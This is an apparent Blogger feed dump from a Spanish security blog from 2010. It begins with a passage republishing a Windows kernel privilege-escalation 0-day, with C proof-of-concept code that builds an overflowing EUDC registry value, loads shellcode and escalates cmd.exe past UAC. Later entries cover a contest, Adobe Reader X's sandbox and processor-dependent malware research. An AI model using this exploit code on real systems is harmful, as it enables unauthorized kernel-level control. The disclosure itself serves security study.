/&gt;NtGdiEnableEudc -&amp;gt;&lt;br /&gt;GreEnableEUDC -&amp;gt;&lt;br /&gt;sub_BF81B3B4 -&amp;gt;&lt;br /&gt;sub_BF81BA0B -&amp;gt;&lt;br /&gt;RtlQueryRegistryValues (Overflow occurs)&lt;br /&gt;&lt;br /&gt;Given this we can design the registry value which will precisely overwrite the return address of the calling function on stack, results in an arbitrary buffer being executed in kernel mode. In my PoC the buffer contains a simple kernel PE loader, which will eventually load a driver that will escalate &quot;cmd.exe” process privilege regardless of UAC.&lt;br /&gt;Collapse&lt;br /&gt;&lt;br /&gt;// Allocate buffer for the driver&lt;br /&gt;LPVOID pDrvMem = VirtualAlloc(NULL, sizeof(DrvBuf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);&lt;br /&gt;memcpy(pDrvMem, DrvBuf, sizeof(DrvBuf));&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;BYTE* pMem;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // shellcode&lt;br /&gt;DWORD ExpSize = 0;&lt;br /&gt;&lt;br /&gt;BYTE RegBuf[0x40] = {0};&amp;nbsp;&amp;nbsp;&amp;nbsp; // reg binary buffer&lt;br /&gt;&lt;br /&gt;pMem = (BYTE*)VirtualAlloc(NULL, sizeof(Data), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);&lt;br /&gt;memcpy(pMem, Data, sizeof(Data));&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // Copy shellcode &lt;br /&gt;&lt;br /&gt;*(DWORD*)(RegBuf + 0x1C) = (DWORD)pMem;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // Point return value to our buffer&lt;br /&gt;&lt;br /&gt;ExpSize = 0x28;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The shellcode need some kernel APIs, we need to get their addresses from the running kernel.&lt;br /&gt;Collapse&lt;br /&gt;&lt;br /&gt;// Get the running kernel file name&lt;br /&gt;HMODULE hDll = GetModuleHandle(L&quot;ntdll.dll&quot;);&lt;br /&gt;pfnZwQuerySystemInformation fnZwQuerySystemInformation = (pfnZwQuerySystemInformation)GetProcAddress(hDll,&quot;ZwQuerySystemInformation&quot;);&lt;br /&gt;PSYSTEM_MODULE_INFORMATIONS pModInfo = NULL;&lt;br /&gt;ULONG AllocSize = 0;&lt;br /&gt;fnZwQuerySystemInformation(SystemModuleInformation, pModInfo, AllocSize, &amp;amp;AllocSize);&lt;br /&gt;&lt;br /&gt;pModInfo = (PSYSTEM_MODULE_INFORMATIONS)malloc(AllocSize);&lt;br /&gt;fnZwQuerySystemInformation(SystemModuleInformation, pModInfo, AllocSize, &amp;amp;AllocSize);&lt;br /&gt;HMODULE hKernel = LoadLibraryExA(pModInfo-&amp;gt;modinfo[0].ImageName + pModInfo-&amp;gt;modinfo[0].ModuleNameOffset, NULL, DONT_RESOLVE_DLL_REFERENCES);&lt;br /&gt;&lt;br /&gt;//Relocation to the running kernel base&lt;br /&gt;DWORD Delta =&amp;nbsp; (DWORD)pModInfo-&amp;gt;modinfo[0].Base - (DWORD)hKernel;&lt;br /&gt;&lt;br /&gt;free(pModInfo);&lt;br /&gt;&lt;br /&gt;// For Vista, there is a Pool address on the stack which is going to be passed to ExFreePool before the function returns,&lt;br /&gt;// so we need a valid pool address to avoid BSOD.&lt;br /&gt;&lt;br /&gt;if(vi.dwBuildNumber &amp;lt; 7600)&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; FixDWORD(pMem, sizeof(Data), 0xAAAAAAAA, 0x2C);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; HANDLE hDummy = CreateSemaphore(NULL, 10, 10, L&quot;Local\\PoC&quot;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; PSYSTEM_HANDLE_INFORMATION pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(sizeof(SYSTEM_HANDLE_INFORMATION));&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; AllocSize = sizeof(SYSTEM_HANDLE_INFORMATION);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; fnZwQuerySystemInformation(SystemHandleInformation, pHandleInfo, AllocSize, &amp;amp;AllocSize);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(pHandleInfo, AllocSize);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; fnZwQuerySystemInformation(SystemHandleInformation, pHandleInfo, AllocSize, &amp;amp;AllocSize);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; for(DWORD i = 0; i &amp;lt; pHandleInfo-&amp;gt;NumberOfHandles; i++)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if((HANDLE)pHandleInfo-&amp;gt;Handles[i].HandleValue == hDummy)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; *(DWORD*)(RegBuf + 0x4) = (DWORD)(pHandleInfo-&amp;gt;Handles[i].Object) - 0x18;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; break;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; free(pHandleInfo);&lt;br /&gt;}&lt;br /&gt;else&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; FixDWORD(pMem, sizeof(Data), 0xAAAAAAAA, 0x30);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;// Now fills the API addresses needed&lt;br /&gt;FixDWORD(pMem, sizeof(Data), 0x11111111, (DWORD)GetProcAddress(hKernel, &quot;ExAllocatePoolWithTag&quot;) + Delta);&lt;br /&gt;FixDWORD(pMem, sizeof(Data), 0x22222222, (DWORD)GetProcAddress(hKernel, &quot;RtlInitAnsiString&quot;) + Delta);&lt;br /&gt;FixDWORD(pMem, sizeof(Data), 0x33333333, (DWORD)GetProcAddress(hKernel, &quot;RtlAnsiStringToUnicodeString&quot;) + Delta);&lt;br /&gt;FixDWORD(pMem, sizeof(Data), 0x44444444, (DWORD)GetProcAddress(hKernel, &quot;MmGetSystemRoutineAddress&quot;) + Delta);&lt;br /&gt;FixDWORD(pMem, sizeof(Data), 0x55555555, (DWORD)GetProcAddress(hKernel, &quot;RtlFreeUnicodeString&quot;) + Delta);&lt;br /&gt;FixDWORD(pMem, sizeof(Data), 0x66666666, (DWORD)GetProcAddress(hKernel, &quot;memcpy&quot;) + Delta);&lt;br /&gt;FixDWORD(pMem, sizeof(Data), 0x77777777, (DWORD)GetProcAddress(hKernel, &quot;memset&quot;) + Delta);&lt;br /&gt;FixDWORD(pMem, sizeof(Data), 0x88888888, (DWORD)GetProcAddress(hKernel, &quot;KeDelayExecutionThread&quot;) + Delta);&lt;br /&gt;FreeLibrary(hKernel);&lt;br /&gt;&lt;br /&gt;// Here we tell the shellcode(PE loader) where the driver buffer is.&lt;br /&gt;FixDWORD(pMem, sizeof(Data), 0x11223344, sizeof(DrvBuf));&lt;br /&gt;FixDWORD(pMem, sizeof(Data), 0x55667788, (DWORD)pDrvMem);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Finally, we set the registry value and call GDI32.EnableEUDC to fire the exploit.&lt;br /&gt;Collapse&lt;br /&gt;&lt;br /&gt;UINT codepage = GetACP();&lt;br /&gt;TCHAR tmpstr[256];&lt;br /&gt;_stprintf_s(tmpstr, TEXT(&quot;EUDC\\%d&quot;), codepage);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // Get current code page&lt;br /&gt;HKEY hKey;&lt;br /&gt;RegCreateKeyEx(HKEY_CURRENT_USER, tmpstr, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE | DELETE, NULL, &amp;amp;hKey, NULL);&lt;br /&gt;RegDeleteValue(hKey, TEXT(&quot;SystemDefaultEUDCFont&quot;));&lt;br /&gt;&lt;br /&gt;RegSetValueEx(hKey, TEXT(&quot;SystemDefaultEUDCFont&quot;), 0, REG_BINARY, RegBuf, ExpSize);&lt;br /&gt;&lt;br /&gt;__try&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; EnableEUDC(TRUE);&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;}&lt;br /&gt;__except(1)&lt;br /&gt;{&lt;br /&gt;}&lt;br /&gt;RegDeleteValue(hKey, TEXT(&quot;SystemDefaultEUDCFont&quot;));&lt;br /&gt;RegCloseKey(hKey);&lt;br /&gt;&lt;br /&gt;After running this PoC, just type &quot;whoami&quot; in command prompt to see the escalated user credentials.&lt;br /&gt;Points of Interest&lt;br /&gt;&lt;br /&gt;All actions this PoC performs require only user privilege, but result in arbitrary kernel mode code execution due to the ambiguous design of RtlQueryRegistryValues. This design flaw exists in most versions of Windows kernels, yet no patch or documentation is publicly available on this issue.&lt;br /&gt;Additional Information&lt;br /&gt;&lt;br /&gt;This PoC may not correctly fix the exploited kernel context and resume execution without BSOD, such as on kernels ealier than 6.1.6000 are not supported, current supported kernels are:&lt;br /&gt;Windows Vista/2008 6.1.6000 x32,&lt;br /&gt;Windows Vista/2008 6.1.6001 x32,&lt;br /&gt;Windows 7 6.2.7600 x32,&lt;br /&gt;Windows 7/2008 R2 6.2.7600 x64.&lt;br /&gt;Beyond this scope you may contact me for information on how to tune the code to work correctly on your kernel or how the shellcode works, etc. Those contents are beyond the scope of this article and of no importance to the exploit, therefore it is not included.&lt;/blockquote&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.needofsecurity.com.ar/feeds/1471289969203493775/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.needofsecurity.com.ar/2010/11/0-day-elevacion-de-privilegios-en.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1547170927549978957/posts/default/1471289969203493775'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1547170927549978957/posts/default/1471289969203493775'/><link rel='alternate' type='text/html' href='http://www.needofsecurity.com.ar/2010/11/0-day-elevacion-de-privilegios-en.html' title='0 day: Elevación de privilegios en Microsoft Windows'/><author><name>Matías</name><uri>http://www.blogger.com/profile/16169022480058479255</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1547170927549978957.post-8327580972100170446</id><published>2010-11-24T10:10:00.000-03:00</published><updated>2010-11-24T10:10:41.212-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="elhacker.net"/><title type='text'>Comenzó el concurso de aplicaciones de elhacker.net!</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/_i-43lFP4TnI/TO0MJ8sLXNI/AAAAAAAAAGA/NnOMPq6R-us/s1600/sinttulo1ku.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;83&quot; src=&quot;http://2.bp.blogspot.com/_i-43lFP4TnI/TO0MJ8sLXNI/AAAAAAAAAGA/NnOMPq6R-us/s320/sinttulo1ku.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;En el día de ayer comenzó el periodo de entrega en el concurso de aplicaciones de elhacker.net. Tienes una aplicacion y deseas participar? todavía estas a tiempo! visita &lt;a href=&quot;http://foro.elhacker.net/programacion_general/ehndev_2010_concurso_de_desarrollo_de_aplicaciones_hilo_oficial-t308347.0.html&quot;&gt;elhacker.net!&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;Quieres ver algunas de las aplicaciones que se han presentado en el concurso? &lt;br /&gt;&lt;br /&gt;&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul style=&quot;text-align: center;&quot;&gt;&lt;li&gt;JawBreaker&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/_i-43lFP4TnI/TO0Nb3HnVyI/AAAAAAAAAGE/NYmifXRW07U/s1600/Ejemplo2.bmp&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;200&quot; src=&quot;http://3.bp.blogspot.com/_i-43lFP4TnI/TO0Nb3HnVyI/AAAAAAAAAGE/NYmifXRW07U/s200/Ejemplo2.bmp&quot; width=&quot;169&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;ul style=&quot;text-align: center;&quot;&gt;&lt;li&gt;DLL Genius&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/_i-43lFP4TnI/TO0N1XNjbDI/AAAAAAAAAGI/Y4BpjB_knIs/s1600/interfaz.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;263&quot; src=&quot;http://4.bp.blogspot.com/_i-43lFP4TnI/TO0N1XNjbDI/AAAAAAAAAGI/Y4BpjB_knIs/s320/interfaz.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;ul style=&quot;text-align: center;&quot;&gt;&lt;li&gt;HearBlocdenotas&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/_i-43lFP4TnI/TO0OEqmfRHI/AAAAAAAAAGM/IMBK6uFBlzQ/s1600/hear.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;208&quot; src=&quot;http://3.bp.blogspot.com/_i-43lFP4TnI/TO0OEqmfRHI/AAAAAAAAAGM/IMBK6uFBlzQ/s320/hear.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;y muchas mas, visita &lt;a href=&quot;http://foro.elhacker.net/programacion_general/ehndev_2010_concurso_de_desarrollo_de_aplicaciones_hilo_oficial-t308347.0.html&quot;&gt;elhacker.net&lt;/a&gt; para ver el resto de las aplicaciones!. &lt;br /&gt;&lt;br /&gt;Para los que quieran participar, recuerden que el periodo de entrega finaliza el día 30/11/2010 para dar comienzo a las votaciones.</content><link rel='replies' type='application/atom+xml' href='http://www.needofsecurity.com.ar/feeds/8327580972100170446/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.needofsecurity.com.ar/2010/11/comenzo-el-concurso-de-aplicaciones-de.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1547170927549978957/posts/default/8327580972100170446'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1547170927549978957/posts/default/8327580972100170446'/><link rel='alternate' type='text/html' href='http://www.needofsecurity.com.ar/2010/11/comenzo-el-concurso-de-aplicaciones-de.html' title='Comenzó el concurso de aplicaciones de elhacker.net!'/><author><name>Matías</name><uri>http://www.blogger.com/profile/16169022480058479255</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_i-43lFP4TnI/TO0MJ8sLXNI/AAAAAAAAAGA/NnOMPq6R-us/s72-c/sinttulo1ku.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1547170927549978957.post-7982904246858396134</id><published>2010-11-22T20:59:00.000-03:00</published><updated>2010-11-22T20:59:37.753-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Adobe"/><category scheme="http://www.blogger.com/atom/ns#" term="Reader X"/><category scheme="http://www.blogger.com/atom/ns#" term="Seguridad informatica"/><title type='text'>Adobe publica la versión X de Reader!</title><content type='html'>Adobe ha publicado una nueva versión de su amado y odiado lector de pdf. Esta vez no solo para solucionar fallos graves, si no que también para dar un paso importante en materia de seguridad.&lt;br /&gt;&lt;br /&gt;Reader ha sido protagonista de multitud de fallos, algunos graves, otros no tanto, pero sin ninguna duda esta entre los primeros puestos si hablamos de software vulnerable. Ya sean expertos en seguridad, desarrolladores de malware, u simples aficionados, Reader siempre fue uno de los flancos mas débiles y mas explotados de Adobe.&lt;br /&gt;&lt;br /&gt;Como toda empresa en el mundo, desarrollar un producto proclive a tantos fallos o inseguro termina malogrando la imagen de la empresa. El desarrollo de software por supuesto no es una excepción, dado que desarrollar software tan vulnerable y evidenciar poco esfuerzo en intentar remediar la situacion logro que Adobe tenga una imagen muy mala en materia de seguridad.&lt;br /&gt;Por supuesto, toda empresa en algún momento decide cambiar esa imagen o aunque sea hacer algo para intentarlo, y este es el caso de Adobe.&lt;br /&gt;&lt;br /&gt;La característica ya implementada en otras aplicaciones pero novedosa en el Reader es la del modo protegido, basicamente la adicion de una sandbox que aislaría el Reader del resto del sistema evitando así comprometer el sistema en el caso de un intento de explotación. &lt;br /&gt;&lt;br /&gt;Los equipos de Adobe llevan trabajando varios meses junto a los equipos de Microsoft, Google Chrome, entre otros. Gente con experiencia en implementar este tipo de modelos en sus respectivos productos.&lt;br /&gt;&lt;br /&gt;El modo protegido vendrá activado por defecto y como consecuencia lograría que el Reader se ejecute en un entorno con minimos privilegios. Por supuesto esto no detiene los intentos de explotación pero sirve como una linea de defensa mas en pos de evitar comprometer al sistema.&lt;br /&gt;Cualquier acción potencialmente peligrosa será conducida a través de un proceso llamado &quot;Broker&quot; el cual se encargara de filtrar dichas acciones.&lt;br /&gt;&lt;br /&gt;Por supuesto esto no implica que Reader sera invulnerable, pero si lograría dificultar la explotación dado que habría que vulnerar la sandbox, evadir el proceso &quot;Broker&quot; y por supuesto escalar privilegios.&lt;br /&gt;&lt;br /&gt;El modo protegido de Adobe esta basado en el &lt;a href=&quot;http://blogs.msdn.com/b/david_leblanc/archive/2007/07/27/practical-windows-sandboxing-part-1.aspx&quot;&gt;modelo de Sandboxing de Microsoft&lt;/a&gt; y ya se habían revelado detalles de su implementación en el &lt;a href=&quot;http://blogs.adobe.com/asset/2010/10/inside-adobe-reader-protected-mode-%E2%80%93-part-2-%E2%80%93-the-sandbox-process.html&quot;&gt;blog&lt;/a&gt; de Adobe.&lt;br /&gt;&lt;br /&gt;&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/_i-43lFP4TnI/TOsCiRj3qzI/AAAAAAAAAF8/aGI8F6xX09s/s1600/Sandbox-Process-Closeup-300x264.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://4.bp.blogspot.com/_i-43lFP4TnI/TOsCiRj3qzI/AAAAAAAAAF8/aGI8F6xX09s/s1600/Sandbox-Process-Closeup-300x264.png&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Inside Adobe Reader protected mode&lt;/td&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;El modo protegido de Adobe no es perfecto, y de hecho en algunos análisis ya han remarcado algunas de sus &lt;a href=&quot;http://threatpost.com/en_us/blogs/assessing-adobe-reader-x-sandbox-112210&quot;&gt;debilidades&lt;/a&gt; pero definitivamente es un paso importante respecto de las políticas de seguridad de Adobe.&lt;br /&gt;Ojala esto logre aumentar la seguridad de los usuarios de Reader.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Referencias&lt;/b&gt;:&lt;br /&gt;&lt;br /&gt;Adobe Reader X is here!&lt;br /&gt;&lt;a href=&quot;http://blogs.adobe.com/asset/2010/11/adobe-reader-x-is-here.html&quot;&gt;http://blogs.adobe.com/asset/2010/11/adobe-reader-x-is-here.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Introducing  Adobe Reader Protected Mode&lt;br /&gt;&lt;a href=&quot;http://blogs.adobe.com/asset/2010/07/%20introducing-adobe-reader-protected-mode.html&quot;&gt;http://blogs.adobe.com/asset/2010/07/%20introducing-adobe-reader-protected-mode.html&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.needofsecurity.com.ar/feeds/7982904246858396134/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.needofsecurity.com.ar/2010/11/adobe-publica-la-version-x-de-reader.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1547170927549978957/posts/default/7982904246858396134'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1547170927549978957/posts/default/7982904246858396134'/><link rel='alternate' type='text/html' href='http://www.needofsecurity.com.ar/2010/11/adobe-publica-la-version-x-de-reader.html' title='Adobe publica la versión X de Reader!'/><author><name>Matías</name><uri>http://www.blogger.com/profile/16169022480058479255</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/_i-43lFP4TnI/TOsCiRj3qzI/AAAAAAAAAF8/aGI8F6xX09s/s72-c/Sandbox-Process-Closeup-300x264.png" height="72" width="72"/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1547170927549978957.post-6401810219387729688</id><published>2010-11-18T21:27:00.000-03:00</published><updated>2010-11-18T21:27:54.108-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="malware"/><category scheme="http://www.blogger.com/atom/ns#" term="Seguridad informatica"/><title type='text'>Processor-Dependent Malware</title><content type='html'>Anthony Desnos, Robert Erra, and Eric Filiol de &lt;span id=&quot;main&quot; style=&quot;visibility: visible;&quot;&gt;&lt;span id=&quot;search&quot; style=&quot;visibility: visible;&quot;&gt;l&#39;&lt;i&gt;Ecole Supérieure d&#39;Informatique Electronique Automatique&lt;/i&gt;&lt;/span&gt;&lt;/span&gt; (&lt;a href=&quot;http://www.esiea.fr/&quot;&gt;ESIEA&lt;/a&gt;) desarrollaron una prueba de concepto respecto de malware destinado a hardware especifico.&lt;br /&gt;&lt;br /&gt;En pos de identificar los distintos procesadores, utilizan la aritmetica de coma flotante (FPA) logrando distinguir entre Intel, AMD, SPARC, Atom, Digital Alpha y Cell.&lt;br /&gt;No explota ninguna vulnerabilidad en el hardware, mas bien se basa en características de los mismos y sus diferencias. El malware, a grandes rasgos, identificaría los distintos procesadores al verificar las diferencias que mantienen realizando ciertos cálculos matemáticos. &lt;br /&gt;&lt;br /&gt;Esto vislumbra una posible nueva amenaza en los ataques de espionaje corporativo y la cyberguerra, dado que se pueden identificar grandes cantidades de ordenadores basándose en el hardware que posean, independientemente del sistema operativo que tengan instalado, logrando así atacar en los objetivos deseados y para los cuales el malware esta destinado.&lt;br /&gt;&lt;br /&gt;Por otro lado, tomara tiempo para que este tipo de técnicas se utilicen en el malware destinado a usuarios domésticos, ya que realmente no es necesario. Pero posiblemente sea una nueva amenaza para organizaciones y paises atacados día a día por malware desarrollado con un objetivo muy claro y puntual.&lt;br /&gt;&lt;br /&gt;Por supuesto esta técnica es solo una herramienta mas, que de por si sola no ayuda a identificar completamente un sistema debido a que para ello se necesitan conocer muchos factores. No obstante, puede ser de utilidad para realizar ataques muy específicos.&lt;br /&gt;Por ejemplo, si un malware esta destinado a atacar sola y exclusivamente a equipos Intel, este podria identificar en una instancia final si el hardware es el deseado para luego proseguir con sus metodos propios de ataque:&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/_i-43lFP4TnI/TOXED8SHtfI/AAAAAAAAAFM/JGknXrfnG9c/s1600/Dibujo.JPG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;http://4.bp.blogspot.com/_i-43lFP4TnI/TOXED8SHtfI/AAAAAAAAAFM/JGknXrfnG9c/s320/Dibujo.JPG&quot; width=&quot;308&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;El paper completo de la investigacion puede encontrarse &lt;a href=&quot;http://arxiv.org/PS_cache/arxiv/pdf/1011/1011.1638v1.pdf&quot;&gt;aquí. &lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.needofsecurity.com.ar/feeds/6401810219387729688/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.needofsecurity.com.ar/2010/11/processor-dependent-malware.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1547170927549978957/posts/default/6401810219387729688'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1547170927549978957/posts/default/6401810219387729688'/><link rel='alternate' type='text/html' href='http://www.needofsecurity.com.ar/2010/11/processor-dependent-malware.html' title='Processor-Dependent Malware'/><author><name>Matías</name><uri>http://www.blogger.com/profile/16169022480058479255</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/_i-43lFP4TnI/TOXED8SHtfI/AAAAAAAAAFM/JGknXrfnG9c/s72-c/Dibujo.JPG" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1547170927549978957.post-6095919400170498920</id><published>2010-11-11T14:41:00.000-03:00</published><updated>2010-11-11T14:41:21.904-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="herramientas"/><category scheme="http://www.blogger.com/atom/ns#" term="Lapsec"/><title type='text'>Hispasec presenta &quot;Lapsec&quot;</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/_i-43lFP4TnI/TNwqc20QtOI/AAAAAAAAAFE/FOfSecxpOug/s1600/LapSec.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;208&quot; src=&quot;http://3.bp.blogspot.com/_i-43lFP4TnI/TNwqc20QtOI/AAAAAAAAAFE/FOfSecxpOug/s320/LapSec.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;Hispasec ha desarrollado una herramienta destinada a intentar mitigar con un solo click los riesgos más importantes que puede conllevar utilizar un sistema operativo Windows en un portátil. Cada vez que se instala (o se encuentra de serie) un Windows en un ordenador portátil, se deberían realizar los mismos cambios (específicamente útiles para portátiles) para intentar que se mantenga un poco más seguro. Ofrecemos &lt;br /&gt;una herramienta gratuita para automatizar el proceso. &lt;br /&gt;&lt;br /&gt;LapSec viene de &quot;Laptop Securer&quot; y es una herramienta destinada a automatizar los cambios más aconsejables para asegurar Windows en un ordenador portátil. Básicamente, aglutina en un solo 